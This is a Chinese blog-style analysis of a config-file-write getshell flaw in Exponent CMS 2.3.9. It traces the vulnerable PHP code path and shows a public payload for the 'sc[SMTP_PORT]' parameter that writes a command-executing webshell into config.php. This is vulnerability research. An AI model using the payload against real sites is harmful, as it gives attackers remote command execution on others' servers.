在 install/index.php 的第44行

  1. expString::sanitize($_REQUEST);

跟进sanitize函数

  1. public static function sanitize(&$data) {
  2. // return $data;
  3.  
  4. if (is_array($data)) {
  5. $saved_params = array();
  6. if (!empty($data['controller']) && $data['controller'] == 'snippet') {
  7. $saved_params['body'] = $data['body']; // store snippet body
  8. }
  9. foreach ($data as $var=>$val) {
  10. // $data[$var] = self::sanitize($val);
  11. $data[$var] = self::xss_clean($val);
  12. }
  13. if (!empty($saved_params)) {
  14. $data = array_merge($data, $saved_params); // add stored snippet body
  15. }
  16. } else {
  17. if (empty($data)) {
  18. return $data;
  19. }
  20.  
  21. $data = self::xss_clean($data);

只经过了xss_clean的检查,继续分析,install/index.php 的第56行

  1. <?php
  2. ...
  3.  
  4. // Create or update the config settings
  5. if (isset($_REQUEST['sc'])) {
  6. if (file_exists("../framework/conf/config.php")) {
  7. // Update the config
  8. foreach ($_REQUEST['sc'] as $key => $value) {
  9. expSettings::change($key, $value);
  10. }
  11. }
  12.  
  13. ...
  14. }

首先如果安装成功后

  1. if (file_exists("../framework/conf/config.php")) {

是一定进入这个分支的

跟进change函数

  1. public static function change($var, $val)
  2. {
  3. $conf = self::parseFile(BASE . 'framework/conf/config.php');
  4. $conf[$var] = $val;
  5. self::saveValues($conf);
  6. }

跟进saveValues函数

  1. public static function saveValues($values, $configname = '') //FIXME only used with themes and self::change() method
  2. {
  3. $profile = null;
  4. $str = "<?php\n";
  5. foreach ($values as $directive => $value) {
  6. $directive = trim(strtoupper($directive));
  7. if ($directive == 'CURRENTCONFIGNAME') { // save and strip out the profile name
  8. $profile = $value;
  9. continue;
  10. }
  11. $str .= "define(\"$directive\",";
  12. $value = stripslashes($value); // slashes added by POST
  13. if (substr($directive, -5, 5) == "_HTML") {
  14. $value = htmlentities($value, ENT_QUOTES, LANG_CHARSET);
  15. // $value = str_replace(array("\r\n","\r","\n"),"<br />",$value);
  16. $value = str_replace(array("\r\n", "\r", "\n"), "", $value);
  17. // $value = str_replace(array('\r\n', '\r', '\n'), "", $value);
  18. $str .= "exponent_unhtmlentities('$value')";
  19. } elseif (is_int($value)) {
  20. $str .= "'" . $value . "'";
  21. } else {
  22. if ($directive != 'SESSION_TIMEOUT') {
  23. $str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above???
  24. } // $str .= "'".$value."'";
  25. else {
  26. $str .= "'" . str_replace("'", '', $value) . "'";
  27. }
  28. }
  29. $str .= ");\n";
  30. }
  31.  
  32. $str .= '?>';
  33. // $configname = empty($values['CURRENTCONFIGNAME']) ? '' : $values['CURRENTCONFIGNAME'];
  34. if ($configname == '') {
  35. $str .= "\n<?php\ndefine(\"CURRENTCONFIGNAME\",\"$profile\");\n?>"; // add profile name to end of active profile
  36. }
  37. self::writeFile($str, $configname);
  38. }
  1. 有两处很重要的操作
    $value = stripslashes($value); // slashes added by POST

else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above???
} // $str .= "'".$value."'";
else {
$str .= "'" . str_replace("'", '', $value) . "'";
}

  1.  

综上跟踪再看看公开的payload

  1. ?sc[SMTP_PORT]=25\\');echo `$_POST[1]`;//

先是经过xss_clean 并不会对payload造成什么影响

再经过stripslashes

payload变成了

  1. 25\');echo `$_POST[1]`;//

再经过这波操作后

  1. $str .= "'" . str_replace("'", '', $value) . "'";

payload又变成了

  1. 25\\');echo `$_POST[1]`;//

写进文件后变成了

  1. define("SMTP_PORT",'25\\');echo `$_POST[1]`;//');

Exponent CMS 2.3.9 配置文件写入 Getshell分析的更多相关文章

  1. 帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析

    帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析 一.漏洞描述 该漏洞是由于安装程序时没有对用户的输入做严格过滤,导致用户输入的可控参数被写入配置文件,造成任意代码执行漏洞. 二.漏洞复 ...

  2. PHP正则配合写配置文件导致Getshell

    PHP正则配合写配置文件导致Getshell,偶然间看到的一个题目, p 牛的小密圈的一个问题. 分析一下,漏洞代码: index.php <?php $str=addslashes($_GET ...

  3. 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

    帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...

  4. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析

    帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析 一.漏洞描述 该漏洞是由于javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输 ...

  5. 帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析

    帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析 一.漏洞描述 该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单 ...

  6. Springboot 加载配置文件源码分析

    Springboot 加载配置文件源码分析 本文的分析是基于springboot 2.2.0.RELEASE. 本篇文章的相关源码位置:https://github.com/wbo112/blogde ...

  7. NLog配置文件写入数据库中

    NLog配置文件: <target xsi:type="Database" name="database" connectionString=" ...

  8. [代码审计]青云客Cms前台有条件注入至getshell,后台xss至getshell、至弹你一脸计算器

    之前写了一篇关于青云客cms的文章,发在了t00ls,就不copy过来了. 给个链接,好记录一下. https://www.t00ls.net/thread-43093-1-1.html

  9. PHPMYWIND4.6.6前台Refer头注入+后台另类getshell分析

    下载链接 https://share.weiyun.com/b060b59eaa564d729a9347a580b7e4f2 Refer头注入 全局过滤函数如下 function _RunMagicQ ...

随机推荐

  1. JavaScript数据类型之null和undeined

    null null是JavaScrpt的关键字,表示一个特殊值,常用于描述"空值".对null执行typeof运算将返回字符串"object". undefin ...

  2. 浅析foreach语句

    本篇是我对于foreach语句(增强for)的总结: 我的总结流程如下: 1.先整体说明增强for遍历集合与数组之间的区别. 2.通过一维数组来说明(给出反编译的源码,形成对照). 3.通过二维数组来 ...

  3. Linux查看mysql 安装路径和运行路径

    一.查看文件安装路径 由于软件安装的地方不止一个地方,所有先说查看文件安装的所有路径(地址). 这里以mysql为例.比如说我安装了mysql,但是不知道文件都安装在哪些地方.放在哪些文件夹里,可以用 ...

  4. Linux-基础学习(一)-基本命令

    开始今日份整理 1.Linux的文件目录操作 1.1 ls 简述:ls是list的缩写,用于列出指定目录或文件 常用的选项 1 -a:显示所有档案及目录(ls内定将档案名或目录名称为“.”的视为隐藏, ...

  5. 使用 ESP8266 制作 WiFi 干扰器 - 无需密码即可使用任何 WiFi

    嘿,朋友,我是 Kedar,你有没有想阻止所有的 WiFi信号?或者只是想从 WiFi 踢某人或邻居 WiFi .那么,本玩法是你等待结束的时刻了.这是为你提供的.仅需 $8 的 DIY Wifi 干 ...

  6. TensorRT&Sample&Python[introductory_parser_samples]

    本文是基于TensorRT 5.0.2基础上,关于其内部的introductory_parser_samples例子的分析和介绍. 1 引言 假设当前路径为: TensorRT-5.0.2.6/sam ...

  7. Golang 入门系列(三)Go语言基础知识汇总

    前面已经了 Go 环境的配置和初学Go时,容易遇到的坑,大家可以请查看前面的文章 https://www.cnblogs.com/zhangweizhong/category/1275863.html ...

  8. Golang 入门系列(一)Go环境搭建

    安装 Go Go语言的优劣,这里就不介绍了,下面直接讲Go 的安装: Go 的官方网站:http://golang.org/(需要FQ软件) 国内下载地址:http://www.golangtc.co ...

  9. LightGBM大战XGBoost,谁将夺得桂冠?

    引 言 如果你是一个机器学习社区的活跃成员,你一定知道 提升机器(Boosting Machine)以及它们的能力.提升机器从AdaBoost发展到目前最流行的XGBoost.XGBoost实际上已经 ...

  10. SpringCloud(8)微服务监控Spring Boot Admin

    1.简介 Spring Boot Admin 是一个管理和监控Spring Boot 应用程序的开源软件.Spring Boot Admin 分为 Server 端和 Client 端,Spring ...